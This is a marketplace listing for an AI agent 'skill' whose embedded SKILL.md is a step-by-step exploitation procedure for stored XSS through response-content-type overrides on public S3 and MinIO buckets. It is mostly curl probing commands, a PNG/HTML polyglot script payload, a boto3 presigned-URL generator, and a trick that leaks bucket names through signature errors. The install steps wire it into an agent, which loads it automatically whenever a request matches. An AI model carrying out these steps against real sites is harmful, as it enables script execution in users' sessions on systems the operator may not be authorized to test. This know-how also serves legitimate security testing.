S3 Minio Content Type Xss logo

S3 Minio Content Type Xss

CommunityPopular
uphiago
s3-minio-content-type-xss

Exploit public bucket Content-Type override for stored XSS on target origin.

Overview

Publisheruphiago
Repositoryrecon-skills
Skill names3-minio-content-type-xss
Stars
1.3K
Forks
213
Bundled files
Instructions only
LicenseMIT
Links
  • Markdown instructions

    A SKILL.md file the model loads on demand, so it only costs tokens when a request actually matches.

  • Works with any LLM

    AI skills are plain Markdown, not provider-specific code, so this works with GPT, Claude, Gemini, Grok, or a local model.

  • Self-contained

    Everything the model needs lives in the instructions — no extra files to sync.

  • Open source

    Published by uphiago on GitHub. Read the source before you install it.

Installation

Install the S3 Minio Content Type Xss AI skill in TypingMind to use it with any LLM, or drop it into another agent that reads SKILL.md.

1

Install in TypingMind

TypingMind installs a skill straight from its GitHub folder — it reads SKILL.md, bundles the resource files, and stores the result locally.

  1. Open the app and go to Plugins → Skills.
  2. Choose "Install from GitHub".
  3. Paste the skill folder URL below and confirm.
  4. Enable the skill in any chat where you want it available.
Plugins → Skills → Add skill → From GitHub URL, then paste the folder URL and press Continue.
2

Install in another agent

Any agent that reads the Agent Skills format can use this skill — copy the folder into that agent's skills directory.

Claude Code — .claude/skills
git clone --depth 1 https://github.com/uphiago/recon-skills.git /tmp/recon-skills
mkdir -p .claude/skills
cp -r /tmp/recon-skills/recon/s3-minio-content-type-xss .claude/skills/s3-minio-content-type-xss
Restart Claude Code after copying so it picks up the new skill.

Use it in TypingMind

Enable S3 Minio Content Type Xss in any TypingMind chat and the model takes it from there. Its name and description sit in the system prompt, and the moment a request matches, the model loads the full instructions itself — you never invoke it by hand, and it costs no tokens until it is actually used.

The model loads S3 Minio Content Type Xss on its own as soon as a request matches it.

Works with any AI model

AI skills are plain Markdown instructions rather than provider-specific code, so S3 Minio Content Type Xss is not tied to the model it was written for. Install it once in TypingMind and use it with GPT-5, Claude, Gemini, Grok, DeepSeek, Mistral, Llama, or a local model you run yourself — all on your own API keys.

  • Loaded only when it is needed

    The system prompt carries just the name and description. The instructions are fetched on the first matching request, so an idle skill costs nothing.

  • Switch models mid-chat

    Because the skill is instructions rather than code, changing model does not break it — the next model reads the same SKILL.md.

Skill instructions

This is the SKILL.md content the model loads. Read it before installing — a skill is instructions your model will follow.

S3/MinIO Content-Type Override to Stored XSS

Exploit public cloud storage buckets (S3, MinIO, and compatible) by overriding the Content-Type response header via query parameters. When a target serves user-uploaded files from its own origin (e.g., cdn.target.com or target.com/uploads/), a successful override turns a stored HTML/JS payload into same-origin stored XSS — bypassing every upload-time validation the application performed.

When to Use

  • Target serves user-uploaded files (images, avatars, attachments) from a public bucket.
  • Files are served under the target's own domain or subdomain (not a random storage domain).
  • Upload validation appears solid (extension whitelist, magic byte check, forced Content-Type) — the override bypasses all of these at serve time, not upload time.
  • The bucket URL responds to ?response-content-type= with a changed Content-Type.
  • The bucket returns an AWS SignatureDoesNotMatch error leaking the real bucket host and region.

Prerequisites

  • terminal with curl and python3.
  • Identify at least one public object URL served from storage.
  • For S3 exploitation: your own AWS account credentials (free tier sufficient).

Quick Detection

bash
# Test if an object's Content-Type can be overridden (MinIO and compatible)
curl --max-time 30 --connect-timeout 10 -skI "https://cdn.target.com/uploads/avatar123.png?response-content-type=text/html" | grep -i content-type

# If you get 'text/html', the override works — proceed to exploitation
# If you get 'Request specific response headers cannot be used for anonymous GET requests', it's S3 — use signed URL approach

Procedure

Phase 1 — Identify Public Objects

Find uploaded objects served publicly:

bash
# Check common upload paths
for path in /uploads/ /media/ /static/uploads/ /cdn/ /files/ /assets/img/ /storage/; do
  curl --max-time 30 --connect-timeout 10 -skI "https://target.com${path}" | grep -E "HTTP|Content-Type|x-amz"
done

# Look for S3/MinIO signatures in URLs
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/" | grep -Eo '(?:s3\.|amazonaws\.|minio|storage\.googleapis)[^"'\''\s]{5,60}'

Phase 2 — Test Content-Type Override

Append the query parameter and check the response:

bash
OBJECT_URL="https://cdn.target.com/uploads/avatar123.png"

# Test override
curl --max-time 30 --connect-timeout 10 -skI "${OBJECT_URL}?response-content-type=text/html" | grep -i content-type

Response interpretation:

ResponseMeaningAction
Content-Type: text/htmlMinIO or compatible — override works anonymouslyGo to Phase 3
Request specific response headers cannot be used for anonymous GET requestsAWS S3 — override requires signed requestGo to Phase 4
No change in Content-TypeOverride not supportedCheck other query parameters or move on

Phase 3 — MinIO Exploitation (Anonymous Override)

Upload a file containing an HTML/JS payload disguised as a valid image:

python
# Craft a polyglot file: valid PNG header + HTML payload
payload = b'\x89PNG\r\n\x1a\n' + b'<script>alert(document.domain)</script>'

Upload through the application's normal upload flow. The app validates the PNG header and accepts it. Then serve it:

bash
# The browser renders the file as HTML, executing the script
curl --max-time 30 --connect-timeout 10 -sk "https://cdn.target.com/uploads/evil.png?response-content-type=text/html"

Additional MinIO override parameters to test:

ParameterHeader Overridden
response-content-typeContent-Type
response-content-dispositionContent-Disposition
response-cache-controlCache-Control
response-content-encodingContent-Encoding
response-content-languageContent-Language

Phase 4 — S3 Exploitation (Signed Override)

S3 rejects anonymous overrides. Re-sign the request with your own AWS credentials:

python
import boto3
from botocore.client import Config

def generate_s3_xss_url(bucket, key, region, endpoint_url, content_type="text/html"):
    s3 = boto3.client(
        "s3",
        region_name=region,
        endpoint_url=endpoint_url,
        config=Config(signature_version="s3v4", s3={"addressing_style": "virtual"}),
    )
    url = s3.generate_presigned_url(
        "get_object",
        Params={"Bucket": bucket, "Key": key, "ResponseContentType": content_type},
        ExpiresIn=3600,
    )
    return url

# Usage: python3 s3_xss.py <bucket> <key> <region> <endpoint> [content-type]
# Example: python3 s3_xss.py target-bucket uploads/avatar.png us-east-1 https://s3.us-east-1.amazonaws.com text/html

If the bucket name is unknown, trigger a SignatureDoesNotMatch error by signing with a wrong host or region. The error response leaks the canonical request containing the real bucket host and region.

Phase 5 — Verify Impact

The XSS is same-origin only if the object URL is under the target's domain. Verify:

bash
# Check if the object is served under the target's origin
echo "$OBJECT_URL" | grep -qE "^https?://(www\.)?target\.com" && echo "SAME-ORIGIN XSS" || echo "Cross-origin — lower impact"

# Confirm JavaScript execution context
# The payload runs with access to cookies, localStorage, and API endpoints on the target's origin

Pitfalls

  • Cross-origin buckets have low impact. If the bucket is on s3.amazonaws.com or a random storage domain, the XSS executes in an isolated origin with no access to the target's session.
  • The override must be supported. Not all storage systems honor response override parameters. S3-compatible systems other than AWS/MinIO may use different parameter names.
  • Upload validation still matters for payload delivery. The file must pass upload-time checks to reach the bucket. Use polyglot files that satisfy both the validator and the browser.
  • The signed S3 URL expires. Generated presigned URLs have a configurable expiration. The XSS link stops working after expiry.
  • CloudFront/CDN may cache the original Content-Type. If a CDN sits in front of the bucket, it may ignore query parameter overrides. Test both the CDN URL and the direct bucket URL.

Verification

  1. Confirm the override works: curl -skI "${URL}?response-content-type=text/html" returns Content-Type: text/html.
  2. Upload a test payload through the application's normal upload flow.
  3. Access the uploaded file with the override parameter in a browser — verify the JavaScript executes.
  4. Confirm same-origin: the object URL shares the target's domain (not a third-party storage domain).
  5. Document the full chain: upload bypass technique → override parameter → same-origin XSS.

Related Skills

  • hunt-xss — General XSS detection methodology and bypass tables.
  • hunt-cloud-misconfig — Public bucket discovery and cloud storage misconfigurations.
  • firebase-supabase-attack — Firebase/Supabase storage bucket exploitation.
  • js-secrets-extraction — Finding bucket names and storage endpoints in JavaScript bundles.

Frequently asked questions

What does the S3 Minio Content Type Xss AI skill do?

Exploit public bucket Content-Type override for stored XSS on target origin.

Why use S3 Minio Content Type Xss on TypingMind?

Because you install it once and use it with any model. S3 Minio Content Type Xss is plain Markdown rather than provider-specific code, so the same skill runs on GPT-5, Claude, Gemini, Grok, or a local model — and you can switch model mid-chat without it breaking. TypingMind runs on your own API keys, so you pay providers directly instead of a per-seat subscription, and your skills and chats stay in your own storage.

How do I install S3 Minio Content Type Xss in TypingMind?

Open Plugins → Skills → Install from GitHub in TypingMind and paste https://github.com/uphiago/recon-skills/tree/main/recon/s3-minio-content-type-xss. TypingMind reads its SKILL.md and installs it as a skill you can enable per chat.

Which AI models can use S3 Minio Content Type Xss?

Any model you connect in TypingMind. AI skills are plain Markdown instructions rather than provider-specific code, so GPT, Claude, Gemini, Grok, and local models can all load this skill when a request matches it.

How many AI models can I use with S3 Minio Content Type Xss?

As many as you like. As long as a model supports skills, you can use S3 Minio Content Type Xss with it — GPT, Claude, Gemini, Grok, DeepSeek, Mistral, Llama and more — all on TypingMind with your own API keys.

Is the S3 Minio Content Type Xss AI skill free?

Yes. It is published on GitHub by uphiago under the MIT license. You only pay your own AI provider for the tokens you use.

What are AI skills?

An AI skill is a reusable instruction bundle that teaches an AI model how to do one specific task. It follows the open Agent Skills format: a SKILL.md file with a name and description, plus any scripts, templates or reference files the model may need. The model reads the instructions only when your request matches the skill, so an installed skill costs nothing until it is used.

How are AI skills different from plugins or MCP servers?

A plugin or MCP server gives a model new tools to call — code that runs somewhere and returns a result. An AI skill gives the model knowledge and process instead: how to approach a task, which steps to follow, what good output looks like. Skills are plain Markdown, so they need no server, no API key and no runtime, and they work with any model.

View all

Set up your own AI workspace now

Get notified about new features and future giveaways by subscribing to our newsletter 👇